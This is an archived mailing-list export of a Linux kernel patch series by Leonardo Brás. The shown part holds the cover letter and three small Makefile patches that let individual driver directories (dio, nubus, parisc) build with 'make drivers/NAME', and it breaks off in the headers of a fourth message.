NNTP-Posting-Date: Fri, 28 Sep 2018 01:43:53 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 03:43:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5hoo-0000Mm-Ed
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 03:43:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728447AbeI1IG7 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:06:59 -0400
Original-Received: from mail-qt1-f196.google.com ([209.85.160.196]:37527 "EHLO
        mail-qt1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726106AbeI1IG6 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:06:58 -0400
Original-Received: by mail-qt1-f196.google.com with SMTP id n6-v6so5022684qtl.4;
        Thu, 27 Sep 2018 18:45:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=LZGk7PgCdjrbqQG3oM6AhSpqvwyDq4O1Xo1g7NqXKqw=;
        b=J+TeraBDlS01cr0TmhcvWkQE2WY5QJZ7V1FNTBpKHgSCV7BrCHhOoDxhOEg58KZz0C
         r4Z5X3HRDdGLJVxqSFAW5hztLVEZNHZLzCeqk58ON0ZgWBGntUJ4y0pE/pMkP7tDicV7
         16KYxMRh3lr44fATMvVG4Iwss8kTRG2ra+iT6TaNFpruE0H1L/zmzqARMYYW0C61UAVw
         ToC4V6CvEdsbzwmWqSIesWd/La58VRI6u6HKz+G9LN0vLNcyvqVBJKJYVjNtBrDURd4A
         b/GFirX58rRCmXudYYP0x9IK2UO4v7sO1d6Ik76qoBkcEH3Fr0r4DLfU9UXVMWdVC0G5
         4tHg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=LZGk7PgCdjrbqQG3oM6AhSpqvwyDq4O1Xo1g7NqXKqw=;
        b=ncn+OSvNOp1XFsGCdastWrJQG3QOzFi8aXJMRXHdksg4NvvfKWb31IILGTazLWH7PS
         PwFLTVnpJSHVj3rII2+owypMm5k24m2E3Yd1XCXF9MSTTkFa/mAopiiytNgrmWk8rpWp
         TIcgFEgVUC1sUSX5j/IqMLdKrMms2MccqE6wmS+o5mOYf0JPmkmQaeMLyC+gcvj92xLv
         8zfrqVFoAMU/5tHl5ke1i0X8Kp3MO7g/someNysbCAZesfIMoZtaIrJ/iXjePj6QmsyV
         mLGgSe7aCPr3xKIF9JD9Dde8UziJqQiD1xvjax0dqpUshgXa7DShikJNAeoJ5Ovld3Yd
         lq3w==
X-Gm-Message-State: ABuFfojHthtea6rqgtRf7Uetq70IuGvaLiJBsbt1OsJSUypMNnd101bF
        vQzF2L/1btXlkiuya+zoPBg=
X-Google-Smtp-Source: ACcGV60tIAYuO4Cn2QNCQCIwAemNyM2n/+5fgcBZR4J5XYAv6WP0cIGV/2L7UA5GVnbzcQHNXxktTg==
X-Received: by 2002:ac8:1817:: with SMTP id q23-v6mr10589603qtj.223.1538099145346;
        Thu, 27 Sep 2018 18:45:45 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id x76-v6sm2278920qkx.25.2018.09.27.18.45.39
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 27 Sep 2018 18:45:44 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884400 gmane.linux.oprofile:13236 gmane.linux.ports.parisc:29039
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884400>

Special thanks for the feedback from:
- Finn Thain (I fixed the build problem)
- Geert Uytterhoeven (The cross compilers were very useful)
- Rolf Eike Beer (Was unintentional, thanks for the help!)

This Patchset changes some driver's Makefile to allow them building
using the command 'make drivers/DRIVERNAME', if compatible.

The changed drivers would return error if the above command was run
on them, after an x86 allyesconfig.

The main reason of this patchset is to allow building lists of
drivers looking for warnings and errors to be fixed.

I see this change as a new feature, not a bugfix. I understand
the default bahavior may be building with a simple 'make', but I
believe adding this new possibility will not be harmful.

My main objective is to allow developers with low processing power
to do changes in the kernel and look bugs using free services like
GiltabCI, before submitting to community.

If there is any interest helping/using this, I have a prototype in:
https://gitlab.com/LeoBras/linux-next


Leonardo Brás (7):
  drivers: dio: Avoids building driver if CONFIG_DIO is disabled
  drivers: nubus: Avoids building driver if CONFIG_NUBUS is disabled
  drivers: parisc: Avoids building driver if CONFIG_PARISC is disabled
  drivers: zorro: Avoids building proc.o if CONFIG_ZORRO is disabled
  drivers: s390: Avoids building drivers if ARCH is not s390.
  drivers: oprofile: Avoids building driver from direct make command
  drivers: hwtracing: Adds Makefile to enable building from directory.

 drivers/Makefile           | 4 +---
 drivers/dio/Makefile       | 2 +-
 drivers/hwtracing/Makefile | 3 +++
 drivers/nubus/Makefile     | 5 +++--
 drivers/oprofile/Makefile  | 1 +
 drivers/parisc/Makefile    | 2 +-
 drivers/s390/Makefile      | 8 ++++----
 drivers/zorro/Makefile     | 7 ++++---
 8 files changed, 18 insertions(+), 14 deletions(-)
 create mode 100644 drivers/hwtracing/Makefile
 create mode 100644 drivers/oprofile/Makefile

-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 1/7] drivers: dio: Avoids building driver if CONFIG_DIO is
 disabled
Date: Thu, 27 Sep 2018 22:46:28 -0300
Lines: 22
Approved: news@gmane.org
Message-ID: <20180928014628.GA10427@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538099083 5270 195.159.176.226 (28 Sep 2018 01:44:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 01:44:43 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org,
        /tmp/v3-0002-drivers-nubus-Avoids-building-driver-if-CONFIG_NU.patch@windflash,
        /tmp/v3-0003-drivers-parisc-Avoids-building-driver-if-CONFIG_P.patch@windflash,
        /tmp/v3-0004-drivers-zorro-Avoids-building-proc.o-if-CONFIG_ZO.patch@windflash,
        /tmp/v3-0005-drivers-s390-Avoids-building-drivers-if-ARCH-is-n.patch@windflash,
        /tmp/v3-0006-drivers-oprofile-Avoids-building-driver-from-dire.patch@windflash,
        /tmp/v3-0007-drivers-hwtracing-Adds-Makefile-to-enable-buildin.patch@windflash
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 03:44:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5hpd-0001GF-7D
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 03:44:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728626AbeI1IHx (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:07:53 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:37616 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726083AbeI1IHw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:07:52 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id n6-v6so5024367qtl.4;
        Thu, 27 Sep 2018 18:46:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=X4z7jPf+dvuu42+tYZqKX430fxhW5Xfzad8xEo8VLqg=;
        b=TIlYUnCNWpQijbfpEwuhe5dycr9EThxJFylubBOpgYIZ7lcXjakkDG5ZsH38m4ual8
         IoREXTJtYOpX7ZjioyUMOoQRwfSHC5B838qJ4KigSeAMfnqbt1KMWTkKN3bfQ47kNrYS
         DEOsmuXXVteRjhSqETJVZceoJt42ipuHYirFnVbacv59xPCYxTZe8NXrZlKAT4c+GBxz
         tz1q+EkUcsw68q+xNW0u0Vm83sqNXJp1PKYkR9x/ujRhauLYItsFViPOOXJJ9MHCQe8O
         Q/6Y6FZ7flYmhHJJAiza39a0gYeqbKAoLhPjeJrUbDEzXIsXLzUwwe37todopHB116jy
         XxQA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=X4z7jPf+dvuu42+tYZqKX430fxhW5Xfzad8xEo8VLqg=;
        b=Q+GciXnQU0mbvvvo+EB2zEiNgwmgGLh1DpHyxoJSUR0MeJ66Qo5GRDtpcTvIKxBvH7
         c9qL4BYyLxIqSXhUzdO1ojEkSvgDmYglgFG04vkGKB8Mdq4IYi97uzThEJQ5CfnhCBRz
         FdZZv92mjujpkRE24gxhRvOxOXBNlVq3Uuk1t23kzEk+pBaU8cNTprKfPv3gOyYc/D5H
         /q9Z6su0yIxKkaQpqnS2OTaHiGzfcnCQS1F7Fvwom+10D9oh9rwW6QFqR4UDskAfFsIi
         lz0UysuzEO0f2twQX1RN4LzkoxvDR2yk8t6nCIQ/pzyNa7hT1ArViw2LF2D6SOYbeNVm
         T4CQ==
X-Gm-Message-State: ABuFfoh8lJQJeum0SLupKdNGYidwloHPAWhnwSx1b0w/t8OMsqTNRxUE
        yw6AozVLhgomUjJlnyvM/6Q=
X-Google-Smtp-Source: ACcGV62xfoYJb6xff8wzdqw0f0gjy5qLeUwqKQYNIjIdi7GkRm3W8oYwVxaXrDdkbFg2u75a1EFq5g==
X-Received: by 2002:ac8:2d69:: with SMTP id o38-v6mr10364997qta.21.1538099198983;
        Thu, 27 Sep 2018 18:46:38 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id m190-v6sm2050250qkd.48.2018.09.27.18.46.31
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 27 Sep 2018 18:46:38 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884401 gmane.linux.oprofile:13237 gmane.linux.ports.parisc:29040
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884401>

Avoids building driver if 'make drivers/dio/' is called and
CONFIG_DIO is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/dio/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/dio/Makefile b/drivers/dio/Makefile
index ae92d17083f2..8fc80e805b90 100644
--- a/drivers/dio/Makefile
+++ b/drivers/dio/Makefile
@@ -2,4 +2,4 @@
 # Makefile for the linux kernel.
 #
 
-obj-y := dio.o dio-driver.o dio-sysfs.o
+obj-$(CONFIG_DIO) := dio.o dio-driver.o dio-sysfs.o
-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 2/7] drivers: nubus: Avoids building driver if
 CONFIG_NUBUS is disabled
Date: Thu, 27 Sep 2018 22:48:24 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20180928014824.GA10504@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538099193 11797 195.159.176.226 (28 Sep 2018 01:46:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 01:46:33 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 03:46:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5hrO-0002yT-Na
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 03:46:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728694AbeI1IJs (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:09:48 -0400
Original-Received: from mail-qt1-f196.google.com ([209.85.160.196]:44251 "EHLO
        mail-qt1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726083AbeI1IJr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:09:47 -0400
Original-Received: by mail-qt1-f196.google.com with SMTP id c56-v6so105688qtd.11;
        Thu, 27 Sep 2018 18:48:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=az4VG2kDleDEIQbELh7WthCOA8Gd6LhdwtP9/ZvOfHo=;
        b=kDnDEsZa7fFmjs2Tk74lWl3fl5P2Nef0SknMvfCe9e49J965GiWsQxosf0mo+zj3kB
         0B39tgyLiAb6YPwF45t/zJShLbiJweqeUKY6+vZp22sdh2oSfT6zpnBEpv9IsbdJAL96
         kjotqyDRWMvvtf8X5A9ldWrAs8LHlSNjDUlsit/SLCTDmzwi6Ja+l39OY5a5E1t6H1V+
         htIjXGC57Gf/sq+gNRwjeQyqZU1sfl09I3MKRFJVEPy5oetgM0/02jwaMqn4MRbpA3z/
         a/Hd5FTtgwuLxUKjWcJ0WHWlar+2iJKhHOKgt/yOG6nRmDGy8qAXnXSMqPBdFTODP/jg
         0ipQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=az4VG2kDleDEIQbELh7WthCOA8Gd6LhdwtP9/ZvOfHo=;
        b=fucaNnsb2MCrYXicJFQVdBz4tlbbqlWyRpsaWZPaqwdHH2qBublHQ+7G7JmqJKaTgH
         MeceavaGfUuXQxjELFtWlMDuA+RYjRKH8TrhFXLNrkUyeyFdTiua/Mj3YNI7MwwVlfuB
         VP7XY0PmsmEM6Q4DO4rwX2FoaNjQgsHYRgT3stsFiiK+4nl9rMB0SvwLM0UR0cafYneE
         4tf6vkTwq22l11w14/x/FSqW6ok8DvEtsPMYL7I3bk147MXczhoeLnf0TEs8++z5sLZS
         2brj9ZwcUIkpAvDX4VDhx+nF85fgD/uwYmClOwmJ8/tlJ7YM0vq06U3E8bF5hIGSEYrj
         9Lvw==
X-Gm-Message-State: ABuFfogyv9/xhI7AkmKBt0QZ1tTYNz2UKyPss72wi4Ngf5txIZzMfoDi
        kazy+uwNy3nzdFOKKFNkj+E=
X-Google-Smtp-Source: ACcGV61GwrxPTv8Vy9LRQU8saNNx3O3W4U08M1DWAZpwwLzXFcn9KqlruyadY9tbVqyMzvXnocjS2Q==
X-Received: by 2002:a0c:8834:: with SMTP id 49-v6mr10283618qvl.40.1538099313552;
        Thu, 27 Sep 2018 18:48:33 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id o2-v6sm2538434qkl.63.2018.09.27.18.48.27
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 27 Sep 2018 18:48:33 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884403 gmane.linux.oprofile:13238 gmane.linux.ports.parisc:29041
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884403>

Avoids building driver if 'make drivers/nubus/' is called and
CONFIG_NUBUS is disabled.
Avoids building proc.o if CONFIG_PROC_FS is enabled but
CONFIG_NUBUS is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/nubus/Makefile | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/drivers/nubus/Makefile b/drivers/nubus/Makefile
index 6d063cde39d1..1daa51217e95 100644
--- a/drivers/nubus/Makefile
+++ b/drivers/nubus/Makefile
@@ -2,6 +2,7 @@
 # Makefile for the nubus specific drivers.
 #
 
-obj-y := nubus.o bus.o
+obj-$(CONFIG_NUBUS) := nubus_all.o
+nubus_all-y += bus.o nubus.o
 
-obj-$(CONFIG_PROC_FS) += proc.o
+nubus_all-$(CONFIG_PROC_FS) += proc.o
-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Thu, 27 Sep 2018 22:48:33 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20180928014833.GA10505@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538099203 12265 195.159.176.226 (28 Sep 2018 01:46:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 01:46:43 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 03:46:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5hrX-00034q-0J
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 03:46:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728734AbeI1IJ4 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:09:56 -0400
Original-Received: from mail-qk1-f196.google.com ([209.85.222.196]:36751 "EHLO
        mail-qk1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726118AbeI1IJ4 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:09:56 -0400
Original-Received: by mail-qk1-f196.google.com with SMTP id a85-v6so2923458qkg.3;
        Thu, 27 Sep 2018 18:48:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=Ml1FFJEZov3NZzRMfIOgz+x2FcVyTrOzctjRuk6MfEU=;
        b=hs/Os8vN3OFq9MhYXzvai9Zxda/zMLh6bwiBNraISalZS6CVFd8vhXBUZGmyIJgUT8
         JxnW+j1hk+G2mBMe+UKL4oWMBWv+MZ84aFzltqlJ3SnPDoZcW7E+FcqH1khVTzgoiIPv
         xS/ZVGkxSvYHmbRJoLfQ5wESaanynBuxxZCgnRqeR1w2q+s6OIyGqgoxgqLpd3XCGdPo
         M+U5rE1Se5EfIfydu+QLBTOzXNorkVTCG/N04yzH7Yi2zZ+BmjgsPd4mcXkm4K1zmvwJ
         MCM7YlpD4/PuaU2B20sr+tZEgCveDt6CCdbwhxwUyYRoOQOl20bfXAuFjLQ/Y2U0rAK2
         p/Cg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=Ml1FFJEZov3NZzRMfIOgz+x2FcVyTrOzctjRuk6MfEU=;
        b=H/822on9nxIRZu0Jv5CBc02MBzryjIlS1+1gAVYjOdWQOPPJk3hFPmYzBG9H5YDQwU
         qIMwKCZftmYkUFvBW82JU5+mQajF1ou0etWAVFc+XxNOLAd5Jb7aANEjQ2syjcBGAaL8
         iWWSc958ZxYBj9ovHyVZgnjl70gKkjrkhiuxqJqaeWgdni86FJLi0nTnXdtwpZm9wGop
         jENs1KHsTQW2w3g0LDwMs1WXdVCx5irLIvD74qpsQrw9H42nsm0D27nkl5qNLPoZ7jsc
         wGeL9wvojfNtlwcdF5sVOhVzADWcWksjLr1NW/FffWrcOcvYmLwWcNbzjKFwWkuBP6dT
         GlJQ==
X-Gm-Message-State: ABuFfogBOD0o1oQXWNsAydXXVGGJwk+ITbmyT0ouLna+6ljxHIURHwIT
        HyICU0KV39rfOLvIe6CYqGaFOKbo
X-Google-Smtp-Source: ACcGV603lpVz/o4820HBmGUtKp8uzyqtNxbevgQamUv20sDKfLg9SsMbQCzkxF7pgpZLuFppat1rbg==
X-Received: by 2002:a37:8b46:: with SMTP id n67-v6mr6674160qkd.262.1538099321790;
        Thu, 27 Sep 2018 18:48:41 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y7-v6sm1931829qkf.38.2018.09.27.18.48.36
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 27 Sep 2018 18:48:41 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884404 gmane.linux.oprofile:13239 gmane.linux.ports.parisc:29042
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884404>

Avoids building driver if 'make drivers/parisc/' is called and
CONFIG_PARISC is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/parisc/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
index 3cd5e6cb8478..80049d763aa0 100644
--- a/drivers/parisc/Makefile
+++ b/drivers/parisc/Makefile
@@ -24,5 +24,5 @@ obj-$(CONFIG_EISA)		+= eisa.o eisa_enumerator.o eisa_eeprom.o
 obj-$(CONFIG_SUPERIO)		+= superio.o
 obj-$(CONFIG_CHASSIS_LCD_LED)	+= led.o
 obj-$(CONFIG_PDC_STABLE)	+= pdc_stable.o
-obj-y				+= power.o
+obj-$(CONFIG_PARISC)		+= power.o
 
-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 4/7] drivers: zorro: Avoids building proc.o if
 CONFIG_ZORRO is disabled
Date: Thu, 27 Sep 2018 22:48:42 -0300
Lines: 30
Approved: news@gmane.org
Message-ID: <20180928014842.GA10506@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538099207 12424 195.159.176.226 (28 Sep 2018 01:46:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 01:46:47 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 03:46:42 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5hrd-00038z-Qg
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 03:46:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728784AbeI1IKE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:10:04 -0400
